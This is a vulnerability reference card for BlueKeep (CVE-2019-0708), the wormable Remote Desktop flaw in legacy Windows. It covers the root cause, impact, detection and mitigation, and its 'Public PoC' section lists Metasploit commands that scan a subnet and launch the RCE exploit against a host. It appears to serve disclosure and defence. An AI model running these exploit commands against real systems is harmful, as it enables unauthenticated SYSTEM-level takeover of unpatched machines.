BlueKeep

aka RDP RCE

Product: Microsoft Windows Remote Desktop Services
CVE: CVE-2019-0708
Disclosed: 2019-05-14
CVSS: 9.8
Auth: pre-auth
CISA KEV: yes
Affected: Windows XP, Vista, 7, Server 2003, Server 2008 and 2008 R2 with RDP enabled.
Fixed: May 2019 Patch Tuesday updates (including out-of-band patches for XP/2003).

Summary

A wormable pre-authentication bug in Windows Remote Desktop Services found by the UK NCSC. A single crafted RDP connection could run code as SYSTEM before any login. Microsoft took the unusual step of patching out-of-support Windows XP and 2003.

Root cause

During RDP connection setup, termdd.sys binds the internal 'MS_T120' virtual channel to a fixed slot (31). A client can request a static channel also named MS_T120, causing a second binding to the same channel object; closing it frees the object while a dangling reference remains, creating a use-after-free in kernel memory that can be groomed into code execution.

Impact

Unauthenticated, wormable kernel-mode RCE over TCP/3389 on legacy Windows.

Public PoC

# scan
msf6 > use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
msf6 > set RHOSTS 10.0.0.0/24
msf6 > run

# exploit (requires correct TARGET for the hypervisor/OS)
msf6 > use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
msf6 > set RHOSTS 10.0.0.7
msf6 > set TARGET 2
msf6 > run

Source: Rapid7 Metasploit - cve_2019_0708_bluekeep_rce

Detection

Metasploit auxiliary/scanner/rdp/cve_2019_0708_bluekeep or Robert Graham's rdpscan. Network signatures look for client channel requests named MS_T120.

Mitigation

Patch; enable Network Level Authentication (forces authentication before the vulnerable code is reached); block TCP/3389 at the perimeter.